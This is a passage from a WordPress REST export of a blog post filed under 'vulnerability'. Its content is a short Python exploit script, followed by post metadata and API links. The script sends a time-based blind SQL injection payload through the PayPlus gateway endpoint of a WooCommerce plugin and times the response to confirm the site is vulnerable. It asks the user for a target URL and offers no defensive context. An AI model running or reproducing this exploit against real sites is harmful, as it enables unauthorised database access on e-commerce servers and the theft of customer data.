#!\/usr\/bin\/env python3.11
import requests
import time<\/p>\n
def exploit(url):
payload = {“wc-api”: “payplus_gateway&status_code=true&more_info=(select*from(select(sleep(5)))a)”}<\/p>\n
start = time.time()
with requests.Session() as session:
session.headers.update({
‘User-Agent’: ‘Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/58.0.3029.110 Safari\/537.3’
})
response = requests.get(url, params=payload)
print(f”Exploiting {url}…”)<\/p>\n
end = time.time()
print(response.status_code)
response_time = end – start
print(f”Response time: {response_time}…”)<\/p>\n
if __name__ == “__main__”:
url = input(“Enter the vulnerable URL (e.g., https:\/\/test.site): “)
if not url.startswith(“http”):
url = “http:\/\/” + url
exploit(url)<\/p>\n","protected":false},"excerpt":{"rendered":"
#!\/usr\/bin\/env python3.11import requestsimport time def exploit(url):payload = {“wc-api”: “payplus_gateway&status_code=true&more_info=(select*from(select(sleep(5)))a)”} start = time.time()with requests.Session() as session:session.headers.update({‘User-Agent’: ‘Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/58.0.3029.110 Safari\/537.3’})response = requests.get(url, params=payload)print(f”Exploiting {url}…”) end = time.time()print(response.status_code)response_time = end – startprint(f”Response time: {response_time}…”) if __name__ == “__main__”:url = input(“Enter the vulnerable URL (e.g., https:\/\/test.site): “)if not url.startswith(“http”):url = …<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-58668","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/58668","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=58668"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/58668\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=58668"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=58668"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=58668"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}